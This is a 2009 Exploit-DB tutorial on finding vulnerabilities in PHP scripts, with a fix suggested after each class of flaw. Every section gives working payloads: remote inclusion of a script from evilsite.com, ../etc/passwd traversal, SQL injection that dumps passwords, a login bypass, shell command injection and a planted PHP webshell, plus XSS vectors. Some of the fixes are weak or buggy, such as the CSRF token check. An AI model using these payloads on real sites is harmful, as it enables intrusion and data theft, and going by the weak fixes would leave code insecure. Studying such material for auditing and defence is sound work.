Finding vulnerabilities in PHP scripts (FULL)

EDB-ID:

12871

CVE:

N/A


Author:

SirGod

Type:

papers


Platform:

Multiple

Date:

2009-09-09


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Name : Finding vulnerabilities in PHP scripts FULL ( with examples ) 
Author : SirGod
Email : sirgod08@gmail.com
Contents : 

 1) About
 2) Some stuff
 3) Remote File Inclusion
    3.0 - Basic example
	3.1 - Simple example
	3.2 - How to fix
 4) Local File Inclusion
    4.0 - Basic example
	4.1 - Simple example
	4.2 - How to fix
 5) Local File Disclosure/Download
    5.0 - Basic example
	5.1 - Simple example
	5.2 - How to fix
 6) SQL Injection
    6.0 - Basic example
	6.1 - Simple example
	6.2 - SQL Login Bypass
	6.3 - How to fix
 7) Insecure Cookie Handling
    7.0 - Basic example
	7.1 - Simple example
	7.2 - How to fix
 8) Remote Command Execution
    8.0 - Basic example
	8.1 - Simple example
	8.2 - Advanced example
	8.3 - How to fix
 9) Remote Code Execution
    9.0 - Basic example
    9.1 - Simple example
	9.2 - How to fix
 10) Cross-Site Scripting
    10.0 - Basic example
    10.1 - Another example
	10.2 - Simple example
	10.3 - How to fix
 11) Authentication Bypass
    11.0 - Basic example
    11.1 - Via login variable
	11.2 - Unprotected Admin CP
	11.3 - How to fix
 12) Insecure Permissions
    12.0 - Basic example
    12.1 - Read the users/passwords
	12.2 - Download backups
	12.3 - INC files
	12.4 - How to fix
 13) Cross Site Request Forgery
    13.0 - Basic example
	13.1 - Simple example
	13.2 - How to fix
 14) Shoutz
 
  
     1) In this tutorial I will show you how you can find vulnerabilities in php scripts.I will not explain
	   how to exploit the vulnerabilities,it is pretty easy and you can find info around the web.All the 
	   examples without the basic example of each category was founded in different scripts.
  
  
     2) First,install Apache,PHP and MySQL on your computer.Addionally you can install phpMyAdmin.
	You can install WAMP server for example,it has all in one..Most vulnerabilities need special conditions
    to work.So you will need to set up properly the PHP configuration file (php.ini) .I will show you what
    configuration I use and why :

   safe_mode = off ( a lot of shit cannot be done with this on )
   disabled_functions = N/A ( no one,we want all )
   register_globals = on ( we can set variables by request )
   allow_url_include = on ( for lfi/rfi )
   allow_url_fopen = on ( for lfi/rfi )
   magic_quotes_gpc = off ( this will escape ' "  \  and NUL's  with a backslash and we don't want that )
   short_tag_open = on ( some scripts are using short tags,better on ) 
   file_uploads = on ( we want to upload )
   display_errors = on ( we want to see the script errors,maybe some undeclared variables? )
 
      How to proceed : First,create a database to be used by different scripts.Install the script on
    localhost and start the audit over the source code.If you found something open the web browser and
    test it,maybe you are wrong.
	

     3) Remote File Inclusion
	 
	 
	     - Tips : You can use the NULLBYTE and ? trick.
		          You can use HTTPS and FTP to bypass filters ( http filtered )
		 
	 
	   In PHP is 4 functions through you can include code.

         require - require() is identical to include() except upon failure it will produce a fatal E_ERROR level error.
         require_once - is identical to require() except PHP will check if the file has already been included, and if so, not include (require) it again.
         include - includes and evaluates the specified file.
         include_once -  includes and evaluates the specified file during the execution of the script.	 
	 
	 
	   3.0 - Basic example
	   
	   
	      - Tips : some scripts don't accept "http" in variables,"http" word is forbbiden so
		  you can use "https" or "ftp".
	   
	      - Code snippet from test.php
		  
		 -----------------------------------------------
		 <?php
		 $pagina=$_GET['pagina'];
		 include $pagina;
		 ?>
		 -----------------------------------------------
		 
		 - If we access the page we got some errors and some warnings( not pasted ) :
		 
		 Notice: Undefined index: pagina in C:\wamp\www\test.php on line 2

        - We can see here that "pagina" variable is undeclared.We can set any value to "pagina" variable.Example : 
		
		     http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt
			 
			Now I will show why some people use ? and %00 after the link to the evil script.
			
		  # The "%00"

		 - Code snippet from test.php
		  
		 -----------------------------------------------
		 <?php
         $pagina=$_GET['pagina'];
         include $pagina.'.php';
         ?>
		 -----------------------------------------------
		 
		  - So if we will request 
		  
		     http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt
		  
		  Will not work because the script will try to include http://evilsite.com/evilscript.txt.php
		  
		  So we will add a NULLBYTE ( %00 ) and all the shit after nullbyte will not be taken in
		  consideration.Example : 
		  
		     http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt%00
			 
		 The script will successfully include our evilscript and will throw to junk the things
		 after the nullbyte.
		 
		  # The "?"
		 
		 	- Code snippet from test.php
		  
		 -----------------------------------------------
		 <?php
         $pagina=$_GET['pagina'];
         include $pagina.'logged=1';
         ?>
		 -----------------------------------------------
		 
		   And the logged=1 will become like a variable.But better use nullbyte.Example : 
		   
		     http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt?logged=1
			 
		  The evilscript will be included succesfully.
		  
		  
	   3.1 - Simple example	 
	   
	   
	       Now an example from a script.
		   
		    - Code snippet from index.php
			
		 ----------------------------------------------------
			        if (isset($_REQUEST["main_content"])){
            $main_content = $_REQUEST["main_content"];
         } else if (isset($_SESSION["main_content"])){
            $main_content = $_SESSION["main_content"];
         }
		   .......................etc..................
		           ob_start();
          require_once($main_content);
		 ----------------------------------------------------
		 
		    We can see that "main_content" variable is requested by $_REQUEST method.The attacker can 
		set any value that he want. Below the "main_content" variable is include.So if we make the
		following request :
		
		     http://127.0.0.1/index.php?main_content=http://evilsite.com/evilscript.txt
			 
		  Our evil script will be successfully included.
		  
		  
	   3.2 - How to fix
	   
	   
	       Simple way : Don't allow special chars in variables.Simple way : filter the slash "/" .
		   Another way : filter "http" , "https" , "ftp" and "smb".
			 
     
	 4) Local File Inclusion
	 
	
	      - Tips : You can use the NULLBYTE and ? trick.
		         ../ mean a directory up
				 On Windows systems we can use "..\" instead of "../" .The "..\" will become "..%5C" ( urlencoded ).
	 
	   The same functions which let you to include (include,include_once,require,require_once) .
	 
	 
	   4.0 - Basic example
	   
		  
		   - Code snippet from test.php
		   
		   -----------------------------------
		    <?php
		    $pagina=$_GET['pagina'];
		    include '/pages/'.$pagina;
		    ?>
		   -----------------------------------
		   
		     Now,we can not include our script because we can not include remote files.We can include only
			local files as you see.So if we make the following request : 
	   
	           http://127.0.0.1/test.php?pagina=../../../../../../etc/passwd
			   
			 The script will include "/pages/../../../../../../etc/passwd" successfully.
			 
             You can use the %00 and ? .The same story.		
			
			
	   4.1 - Simple example
	   
	   
	      - Code snippet from install/install.php
		  
		  -------------------------------------
		   if(empty($_GET["url"]))
  	       $url = 'step_welcome.php';
           else
  	       $url = $_GET["url"];
		   .............etc.............
		   <p><? include('step/'.$url) ?></p>
		  -------------------------------------
		  
		    We can see that "url" variable is injectable.If the "url" variable is not set
		   (is empty) the script will include "step_welcome.php" else will include the 
		   variable set by the attacker.
		   
		    So if we do the following request : 
			
			  http://127.0.0.1/install/install.php?url=../../../../../../etc/passwd
			  
			The "etc/passwd" file will be succesfully included.
			
			
	   4.2 - How to fix
	    
		
		    Simple way : Don't allow special chars in variables.Simple way : filter the dot "." 
			Another way : Filter "/" , "\" and "." .
			
			
	 5) Local File Disclosure/Download	  
	  
	  
	      - Tips : Through this vulnerability you can read the content of files,not include.
		 
		 Some functions which let you to read files :
		 
		   file_get_contents — Reads entire file into a string
		   readfile — Outputs a file
		   file — Reads entire file into an array
		   fopen — Opens file or URL
		   highlight_file — Syntax highlighting of a file.Prints out or returns a syntax 
		                  highlighted version of the code contained in filename using the
						  colors defined in the built-in syntax highlighter for PHP.
		   show_source — Alias of highlight_file()
   
   
       5.0 - Basic example
	   
	   
	      - Code snippet from test.php 
		  
		  --------------------------------------
		   <?php
		   $pagina=$_GET['pagina'];
		   readfile($pagina); 
		   ?>
		   --------------------------------------
		   
		    The readfile() function will read the content of the specified file.So if we do the following request :
			
		     http://127.0.0.1/test.php?pagina=../../../../../../etc/passwd
			 
			The content of etc/passwd will be outputed NOT included.
			
			
	   5.1 - Simple example

              			
		   - Code snippet from download.php
		   
		  -----------------------------------------------------------------------------------
		  $file = $_SERVER["DOCUMENT_ROOT"]. $_REQUEST['file'];
		  header("Pragma: public");
		  header("Expires: 0");
		  header("Cache-Control: must-revalidate, post-check=0, pre-check=0");

		  header("Content-Type: application/force-download");
		  header( "Content-Disposition: attachment; filename=".basename($file));

		  //header( "Content-Description: File Transfer");
		  @readfile($file);
		  die();
		  -----------------------------------------------------------------------------------
		  
		    The "file" variable is unsecure.We see in first line that it is requested by $_REQUEST method.
		  And the file is disclosed by readfile() function.So we can see the content of an arbitrary file.
		    If we make the following request : 
		  
		      http://127.0.0.1/download.php?file=../../../../../../etc/passwd
		  
		  So we can succesfully read the "etc/passwd" file.
		  
		  
	   5.2 - How to fix
	   
	   
		    Simple way : Don't allow special chars in variables.Simple way : filter the dot "." 
			Another way : Filter "/" , "\" and "." .
		  
		  
	 6) SQL Injection
	 
	 
	      - Tips : If the user have file privileges you can read files.
		           If the user have file privileges and you find a writable directory and magic_quotes_gpc = off
				  you can upload you code into a file.

       
       6.0 - Basic example	
	   
	   
	      - Code snippet from test.php
		  
		  ----------------------------------------------------------------------------------
		  <?php
		  $id = $_GET['id'];
          $result = mysql_query( "SELECT name FROM members WHERE id = '$id'");
		  ?>
		  ----------------------------------------------------------------------------------
		  
		   The "id" variable is not filtered.We can inject our SQL code in "id" variable.Example :
		 
		    http://127.0.0.1/test.php?id=1+union+all+select+1,null,load_file('etc/passwd'),4--
			
		  And we get the "etc/passwd" file if magic_quotes = off ( escaping ' ) and users have
		  file privileges.
		  
		  
	   6.1 - Simple example
	   
	   
	        - Code snippet from house/listing_view.php
			
			-----------------------------------------------------------------------------------------------------------------------------
			$id = $_GET['itemnr'];
            require_once($home."mysqlinfo.php");
            $query = "SELECT title, type, price, bedrooms, distance, address, phone, comments, handle, image from Rentals where id=$id";
            $result = mysql_query($query);
			if(mysql_num_rows($result)){
			$r = mysql_fetch_array($result);
			-----------------------------------------------------------------------------------------------------------------------------
			
			 We see that "id" variable value is the value set for "itemnr" and is not filtered in any way.
			 So we can inject our code.Lets make a request : 
			 
			   http://127.0.0.1/house/listing_view.php?itemnr=null+union+all+select+1,2,3,concat(0x3a,email,password),5,6,7,8,9,10+from+users--
			
			 And we get the email and the password from the users table.
	   
	   
	   6.2 - SQL Injection Login Bypass
		
		
		   - Code snippet from /admin/login.php
		   
		   ------------------------------------------------------------------------------------------------------------------------------
		    $postbruger = $_POST['username'];
            $postpass = md5($_POST['password']); 
            $resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = '$postbruger' AND password = '$postpass'") 
            or die("<p>" . mysql_error() . "</p>\n");
            ------------------------------------------------------------------------------------------------------------------------------
		   
		    The variables isn't properly checked.We can bypass this login.Lets inject the following username and password :
			
			  username : admin ' or ' 1=1
			  password : sirgod
			  
			We logged in.Why?Look,the code will become 
			
			---------------------------------------------------------------------------------------------------------------------------------
			$resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = 'admin' ' or ' 1=1  AND password = 'sirgod'") 
			---------------------------------------------------------------------------------------------------------------------------------
			
			Login bypassed.The username must be an existent username.
			
			
	   6.3 - How to fix
	   
	   
		    Simple way : Don't allow special chars in variables.For numeric variables
			            use (int) ,example $id=(int)$_GET['id']; 
			Another way : For non-numeric variables : filter all special chars used in
            			 SQLI : - , . ( ) ' " _ + / * 
	
	
	 7) Insecure Cooke Handling
	 
	    
		 - Tips : Write the code in the URLbar,don't use a cookie editor for this.
	 
	 
	   7.0 - Basic example
	   
	   
	      - Code snippet from test.php
		  
		---------------------------------------------------------------
		if($_POST['password'] == $thepass) {
		setcookie("is_user_logged","1");
		} else { die("Login failed!"); }
		............ etc .................
		if($_COOKIE['is_user_logged']=="1")
		 { include "admin.php"; else { die('not logged'); }
		---------------------------------------------------------------
		
		  Something interesting here.If we set to the "is_user_logged" variable
		 from cookie value "1" we are logged in.Example :
		 
		 javascript:document.cookie = "is_user_logged=1; path=/";
		 
		 So practically we are logged in,we pass the check and we can access the admin panel.
	   
	   
	   7.1 - Simple example
	   
	   
	    - Code snippet from admin.php
		
		----------------------------------------------------------------
		if ($_COOKIE[PHPMYBCAdmin] == '') {
		if (!$_POST[login] == 'login') {
		die("Please Login:<BR><form method=post><input type=password
		name=password><input type=hidden value=login name=login><input
		type=submit></form>");
		} elseif($_POST[password] == $bcadminpass) {
		setcookie("PHPMYBCAdmin","LOGGEDIN", time() + 60 * 60);
		header("Location: admin.php"); } else { die("Incorrect"); }
		}
		----------------------------------------------------------------	
			
		  Code looks exploitable.We can set a cookie value that let us to bypass the login
		 and tell to the script that we are already logged in.Example : 
		 
		 javascript:document.cookie = "PHPMYBCAdmin=LOGGEDIN; path=/";document.cookie = "1246371700; path=/";
		 
		  What is 1246371700? Is the current time() echo'ed + 360.
		  
		  
	   7.2 - How to fix 
	   
	   
	        Simple way : The most simple and eficient way : use SESSIONS .
		  
		  
	 8) Remote Command Execution
	 
	 
	     - Tips : If in script is used exec() you can't see the command output(but the command is executed)
         until the result isn't echo'ed from script.
		          You can use AND operator ( || ) if the script execute more than one command .
	 
	   In PHP are some functions that let you to execute commands :
 
       exec — Execute an external program
       passthru — Execute an external program and display raw output
       shell_exec — Execute command via shell and return the complete output as a string
       system — Execute an external program and display the output
		
		
	   8.0 - Basic example
	
	     - Code snippet from test.php
		 
		 ---------------------------------
		 <?php
		 $cmd=$_GET['cmd'];
		 system($cmd);
		 ?>
		 ---------------------------------
		 
		 So if we make the following request : 
		 
		  http://127.0.0.1/test.php?cmd=whoami
		  
		The command will be executed and the result will be outputed.
		
		
	   8.1 - Simple example
	   
	   
	     - Code snippet from dig.php
		 
		    -------------------------------------------------------------------------------------------
		    $status = $_GET['status'];
		    $ns  = $_GET['ns'];
		    $host   = $_GET['host'];
		    $query_type   = $_GET['query_type']; // ANY, MX, A , etc.
		    $ip     = $_SERVER['REMOTE_ADDR'];
		    $self   = $_SERVER['PHP_SELF'];
		    ........................ etc ........................
		    $host = trim($host);
		    $host = strtolower($host);
		    echo("<span class=\"plainBlue\"><b>Executing : <u>dig @$ns $host $query_type</u></b><br>");
		    echo '<pre>';
	        system ("dig @$ns $host $query_type");
			-------------------------------------------------------------------------------------------

			 The "ns" variable is unfiltered and can be specified by the attacker.An attacker can use any command
           that he want through this variable.
		   
		     Lets make a request :
			 
			  http://127.0.0.1/dig.php?ns=whoam&host=sirgod.net&query_type=NS&status=digging
			  
			 The injection will fail.Why?The executed command will be : dig whoami sirgod.com NS and
			will not work of course.Lets do something a little bit tricky.We have the AND operator
			( || ) and we will use it to separe the commands.Example :
		 
		      http://127.0.0.1/dig.php?ns=||whoami||&host=sirgod.net&query_type=NS&status=digging
	  
	        Our command will be executed.The command become "dig ||whoami|| sirgod.net NS".
			

       8.2 - Advanced example
	   
	   
	      - Code snippet from add_reg.php
		  
		  -------------------------------------------------------
		  $user = $_POST['user'];
		  $pass1 = $_POST['pass1'];
		  $pass2 = $_POST['pass2'];
		  $email1 = $_POST['email1'];
		  $email2 = $_POST['email2'];
		  $location = $_POST['location'];
		  $url = $_POST['url'];
		  $filename = "./sites/".$user.".php";
		  ...................etc......................
		  $html = "<?php
		  \$regdate = \"$date\";
		  \$user = \"$user\";
		  \$pass = \"$pass1\";
		  \$email = \"$email1\";
		  \$location = \"$location\";
		  \$url = \"$url\";
		  ?>";
		  $fp = fopen($filename, 'a+');
		  fputs($fp, $html) or die("Could not open file!");
		  -------------------------------------------------------
       	 
		  We can see that the script creates a php file in "sites" directory( ourusername.php ).
          The script save all the user data in that file so we can inject our evil code into one
         field,I choose the "location" variable.
		 
		  So if we register as an user with the location (set the "location" value) :
 
            <?php system($_GET['cmd']); ?>

         the code inside sites/ourusername.php will become :
		 
           -------------------------------------------------
           <?php
           $regdate = "13 June 2009, 4:16 PM";
           $user = "pwned";
           $pass = "pwned";
           $email = "pwned@yahoo.com";
           $location = "<?php system($_GET['cmd']); ?>";
           $url = "http://google.ro";
           ?>
		   -------------------------------------------------

          So we will get an parse error.Not good.We must inject a proper code to get the result that we want.
 
         Lets inject this code :
 
            \";?><?php system(\$_GET['cmd']);?><?php \$xxx=\":D
 
         So the code inside sites/ourusername.php will become :
		 
           --------------------------------------------------------------
           <?php
           $regdate = "13 June 2009, 4:16 PM";
           $user = "pwned";
           $pass = "pwned";
           $email = "pwned@yahoo.com";
           $location = "";?><?php system($_GET['cmd']);?><?php $xxx=":D";
           $url = "http://google.ro";
           ?> 
		   --------------------------------------------------------------
 
         and we will have no error.Why?See the code :
 
 	      $location = "";?><?php system($_GET['cmd']);?><?php $xxx=":D";
		  
         Lets split it :
 
         -------------------------------
         $location = "";
         ?>
         <?php system($_GET['cmd']);?>
         <?php $xxx=":D";
		 -------------------------------

           We set the location value to "",close the first php tags,open the tags
          again,wrote our evil code,close the tags and open other and add a variable
          "xxx" because we dont want any error.I wrote that code because I want no 
          error,can be modified to be small but will give some errors(will not 
          stop us to execute commands but looks ugly).
		  
		 So if we make the following request :
		 
		    http://127.0.0.1/sites/ourusername.php?cmd=whoami
			
	     And our command will be succesfully executed.
		 
		 
	   8.3 - How to fix 
	   
	   
	        Simple way : Don't allow user input .
		    Another way : Use escapeshellarg() and escapeshellcmd() functions . 
		                 Example : $cmd=escapeshellarg($_GET'cmd']);
    
	
	 9) Remote Code Execution
	 
	    
		 - Tips : You must inject valid PHP code including terminating statements ( ; ) .
	 
	    
	   9.0 - Basic example
	   
	   
	      - Code snippet from test.php 
		  
		  -----------------------------------
		   <?php
		   $code=$_GET['code'];
		   eval($code); 
		   ?>
		   -----------------------------------
	       
	      The "eval" function evaluate a string as PHP code.So in this case we are able to execute 
		 our PHP code.Examples : 
		 
		    http://127.0.0.1/test.php?code=phpinfo();
			http://127.0.0.1/test.php?code=system(whoami);
			
		  And we will see the output of the PHP code injected by us.
		  
		  
	   9.1 - Simple example
	   
	   
	      - Code snippet from system/services/init.php
		  
		  ------------------------------------------------
		  $conf = array_merge($conf,$confweb);
		  }
		  @eval(stripslashes($_REQUEST['anticode']));
          if ( $_SERVER['HTTP_CLIENT_IP'] )
		  ------------------------------------------------
		  
		   We see that the "anticode" is requested by $_REQUEST method and the coder 
		  "secured" the input with "stripslashes" which is useless here,we don't need 
		  slashes to execute our php code only if we want to include a URL.So we can
		  inject our PHP code.Example : 
		  
		    http://127.0.0.1/test.php?anticode=phpinfo();
			
		  Great,injection done,phpinfo() result printed.No include because slashes are
		  removed,but we can use system() or another function to execute commands.
	   
	   
	   9.2 - How to fix 
	   
	         
            Simple way : Don't allow ";" and the PHP code will be invalid.
			Another way : Don't allow any special char like "(" or ")" etc.
			
			
	 10) Cross-Site Scripting
	 
	 
	     - Tips : You can use alot of vectors,can try alot of bypass methods,you cand
		        find them around the web.
				
				
	   10.0 - Basic example
	   
	   
	      - Code snippet from test.php
		  
		  ---------------------------------
		   <?php
		   $name=$_GET['name'];
		   print $name;
		   ?>
	       ---------------------------------
		   
		    The input is not filtered,an attacker can inject JavaScript code.Example :
	   
	           http://127.0.0.1/test.php?name=<script>alert("XSS")</script>
			   
			A popup with XSS message will be displayed.JavaScript code succesfully executed.
			
			
	   10.1 - Another example
	   
	   
	      - Code snippet from test.php
		  
		   -------------------------------------------
		    <?php
		    $name=addslashes($_GET['name']);
		    print '<table name="'.$name.'"></table>';
		    ?>
		   -------------------------------------------
		   
		   Not an advanced example,only a bit complicated.
			
			http://127.0.0.1/test.php?name="><script>alert(String.fromCharCode(88,83,83))</script>
			
		   Why this vector?We put " because we must close the " from the "name" atribut
		  of the "table" tag and > to close the "table" tag.Why String.fromCharCode?Because
		  we want to bypass addslashes() function.Injection done.
		  
		  
	   10.2 - Simple example 
	   
	      
		   - Code snippet from modules.php
		   
		   ---------------------------------------------------------------------------
		   if (isset($name)) {
		   .................... etc................
		   } else {
		   die("Le fichier modules/".$name."/".$mod_file.".php est inexistant");
		   ---------------------------------------------------------------------------
		   
		   The "name" variable is injectable,input is not filtered,so we can inject
		  with ease JavaScript code.Example :
		   
		        http://127.0.0.1/test.php?name=<script>alert("XSS")</script>
				
				
	   10.3 - How to fix
	   
	   
	          Simple way : Use htmlentities() or htmlspecialchars() functions.
			              Example : $name=htmlentities($_GET['name']);
			  Another way : Filter all special chars used for XSS ( a lot ).
			              The best way is the first method.
						  
						  
	 11) Authentication Bypass	
	 
	 
	     - Tips : Look deep in the scripts,look in the admin directories,
		        maybe are not protected,also look for undefined variables 
				like "login" or "auth".
				
	   
	   11.0 - Basic example
	   
	       
		   I will provide a simple example of authentication bypass
		  via login variable.
		  
		   - Code snippet from test.php
		   
		   ---------------------------------
		   <?php
		   if ($logged==true) {
		   echo 'Logged in.'; }
		   else {
		   print 'Not logged in.';
		   }
		   ?>
		   ---------------------------------
		   
		    Here we need register_gloabals = on . I will talk about php.ini
		  settings a bit later in this tutorial.If we set the value of $logged
		  variable to 1 the if condition will be true and we are logged in.
		    Example : 
			
			  http://127.0.0.1/test/php?logged=1
			
		    And we are logged in.
		  
		  
	   11.1 - Via login variable
		  
		  
		 - Code snippet from login.php
		 
		 ------------------------------------------------------------------------------------
		 if ($login_ok)
		 {
		 $_SESSION['loggato'] = true;
		 echo "<p>$txt_pass_ok</p>";
		 echo"<div align='center'><a href='index.php'>$txt_view_entry</a> | 
		 <a href='admin.php'>$txt_delete-$txt_edit</a> | <a href='install.php'>$txt_install
		 </a></div>";
		 }
		 ------------------------------------------------------------------------------------
		 
		  Lets see.If the "login_ok" variable is TRUE ( 1 ) the script set us a SESSION who
         tell to the script that we are logged in.So lets set the "login_ok" variable to TRUE.
		  Example : 
		  
		     http://127.0.0.1/login.php?login_ok=1
			 
		  Now we are logged in.
		  
		  
	   11.2 - Unprotected Admin CP
	   
	   
           You couln't belive this but some PHP scrips don't protect the admin
		  control panel : no login,no .htaccess,nothing.So we simply we go to 
		  the admin panel directory and we take the control of the website.
		   Example : 
		   
		      http://127.0.0.1/admin/files.php
			  
			We accessed the admin panel with a simple request.
			
			
	   11.3 - How to fix 
	  
	  
	      - Login variable bypass : Use a REAL authentication system,don't check the
		                          login like that,use SESSION verification.Example :
		   
		      if($_SESSION['logged']==1) {
			  echo 'Logged in'; }
			  else { echo 'Not logged in';
			  }
		  
		  - Unprotected Admin CP : Use an authentication system or use .htaccess to
		                          allow access from specific IP's or .htpasswd to 
								  request an username and a password for admin CP.
								  Example : 
								  
				.htaccess : 
				
				    order deny, allow
				    deny from all
				    allow from 127.0.0.1
				
				.htpasswd : 
				 
				    AuthUserFile /the/path/.htpasswd
				    AuthType Basic
				    AuthName "Admin CP"
				    Require valid-user
					
					and /the/path/.htpasswd
					
					sirgod:$apr1$wSt1u...$6yvagxWk.Ai2bD6s6O9iQ.
					
					
	 12) Insecure Permissions
	 
	 
	     Tips : Look deep into the files,look if the script request to be
		      logged in to do something,maybe the script don't request.
			    Watch out for insecure permissions,maybe you can do admin
			  things without login.
			  
			  
	   12.0 - Basic example
	   
	      
		  We are thinking at a script who let the admin to have a lookup in
		 the users database through a file placed in /admin directory.That 
		 file is named...hmmm : db_lookup.php.
		 
		  - Code snippet from admin/db_lookup.php
		  
		  --------------------------------------------
		  <?php
		  // Lookup in the database
		  readfile('protected/usersdb.txt');
		  ?>
		  --------------------------------------------
		  
		   Lets think.We cannot access the "protected" directory because
		  is .htaccess'ed.But look at this file,no logged-in check,nothing.
		  So if we acces : 
		  
		    http://127.0.0.1/admin/db_lookup.php
			
		  We can see the database.Remember,this is only an example created by 
		 me,not a real one,you can find this kind of vulnerabilities in scripts.
		 
		 
	   12.1 - Read the users/passwords
	   
	   
	      Oh yeah,some coders are so stupid.They save the usernames and passwords
		 in text files,UNPROTECTED.A simple example from a script : 
		 
		    http://127.0.0.1/userpwd.txt
			
		  And we read the file,the usernames and passwords are there.

	   
	   12.2 - Download Backups
		   

		    Some scripts have database backup functions,some are safe,some are not safe.
			I will show you a real script example : 
			
			 - Code snippet from /adminpanel/phpmydump.php
			 
			 --------------------------------------------------------------------------------
			 function mysqlbackup($host,$dbname, $uid, $pwd, $structure_only, $crlf) {  
			 $con=@mysql_connect("localhost",$uid, $pwd) or die("Could not connect");  
			 $db=@mysql_select_db($dbname,$con) or die("Could not select db");
			 .............................. etc ..........................
			  mysqlbackup($host,$dbname,$uname,$upass,$structure_only,$crlf);
			 --------------------------------------------------------------------------------
			 
			After a lof of code the function is called.I don't pasted the entire code
		  because is huge.I analyzed the script,no login required,no check,nothing.So
		  if we access the file directly the download of the backup will start.Example : 
		  
		      http://127.0.0.1/adminpanel/phpmydump.php
			  
		   Now we have the database backup saved in our computer.
		   
		  
       12.3 - INC files
		
		
		   Some scripts saves important data in INC files.Usually in INC files is PHP
		  code containing database configuration.The INC files can be viewed in 
		  browser even they contain PHP code.So a simple request will be enough to
		  access and read the file.Example : 
		  
		      http://127.0.0.1/inc/mysql.inc
			  
		   Now we have the database connection details.Look deep in scripts,is more
		  scripts who saves important data into INC files.
		
		   
	   12.4 - How to fix
		                   
		   
		    - Basic example : Check if the admin is logged in,if not,redirect.
			
			- Read the users/passwords : Save the records in a MySQL database
			                           or in a protected file/directory.
									   
		    - Download Backups : Check if the admin is logged in,if not,redirect.
			
			- INC files : Save the configuration in proper files,like .php or
			           protect the directory with an .htaccess file.
		     
	 
	 13) Cross Site Request Forgery
	 
	 
	    - Tips : Through CSRF you can change the admin password,is not
		       so inofensive.
			     Can be used with XSS,redirected from XSS.
	 
	 
	   13.0 - Basic example
	   
	      
		   - Code snippet from test.php 
		   
		   -----------------------------------------
		   <?php
		   check_auth();
		   if(isset($_GET['news']))
		   { unlink('files/news'.$news.'.txt'); }
		   else { 
		   die('File not deleted'); }
		   ?>
		   -----------------------------------------
		   
		    In this example you will see what is CSRF and how it works.In the "files" 
		   directory are saved the news written by the author.The news are saved like
		   "news1.txt","news2.txt" etc. So the admin can delete the news.The news that
		   he want to delete will be specified in "news" variable.If he want to delete
		   the news1.txt the value of "news" will be "1".We cannot execute this without
		   admin permissions,look,the script check if we are logged in.
		    I will show you an example.If we request : 
			
			   http://127.0.0.1/test.php?news=1
			   
			The /news/news1.txt file will be deleted.The script directly delete the file
		   without any notice.So we can use this to delete a file.All we need is to trick
		   the admin to click our evil link and the file specified by us in the "news" 
		   variable will be deleted.
		   
		   
	   13.1 - Simple example
	   
	   
	      In a way the codes below are included in the index.php file ,I
		 will not paste all the includes,there are a lot.
	   
           - Code snippet from includes/pages/admin.php

           --------------------------------------------------------------------
           if ($_GET['act'] == '') {
           include "includes/pages/admin/home.php";
           } else {
           include "includes/pages/admin/" . $_GET['act'] . ".php";
		   --------------------------------------------------------------------
		  
		  Here we can see how the "includes/pages/admin/members.php" is included in
		 this file.If "act=members" the file below will be included.
		   
	      
		   - Code snippet from includes/pages/admin/members.php
		   
		   ----------------------------------------------------------------------------------------------
 		   if ($_GET['func'] == 'delete') {
 		   $del_id = $_GET['id'];
 		   $query2121 = "select ROLE from {$db_prefix}members WHERE ID='$del_id'";
 		   $result2121 = mysql_query($query2121) or die("delete.php - Error in query: $query2121");
 		   while ($results2121 = mysql_fetch_array($result2121)) {
 		   $their_role = $results2121['ROLE'];
		   }
 		   if ($their_role != '1') {
           mysql_query("DELETE FROM {$db_prefix}members WHERE id='$del_id'") or die(mysql_error
           ()); 
		   ----------------------------------------------------------------------------------------------
		   
		   We can see here that if "func=delete" will be called by URL,the script will
		  delete from the database a user with the specified ID ( $id ) without any 
		  confirmation.Example : 
		  
		    http://127.0.0.1/index.php?page=admin&act=members&func=delete&id=4
			
		  The script check if the admin is logged in so if we trick the admin to click
		 our evil link the user who have the specified ID in the database will be deleted
		 without any confirmation.
				   
	
	   13.2 - How to fix	
	   
	   
	      - Simple way : Use tokens.At each login,generate a random token and save it
		                in the session.Request the token in URL to do administrative 
						actions,if the token missing or is wrong,don't execute the
						action.I will show you only how to to check if the token 
                                                is present and is correct.Example :

								 -------------------------------------------------------					
								  <?php
								  check_auth();
								  if(isset($_GET['news']) && $token=$_SESSION['token'])
								  { unlink('files/news'.$news.'.txt'); }
								  else { 
								  die('Error.'); }
								  ?>
								  -------------------------------------------------------
								  
						The request will look like this one : 
						
						    http://127.0.0.1/index.php?delete=1&token=[RANDOM_TOKEN]
								  
						So this request will be fine,the news will be deleted.
										
			
		  - Another way : Do some complicated confirmations or request a password
		                 to do administrative actions.


         14) Shoutz

		 
              Shoutz to all www.insecurity.ro & www.h4cky0u.org members.If you have some suggestions or 
            questions just email me.		

# milw0rm.com [2009-09-09]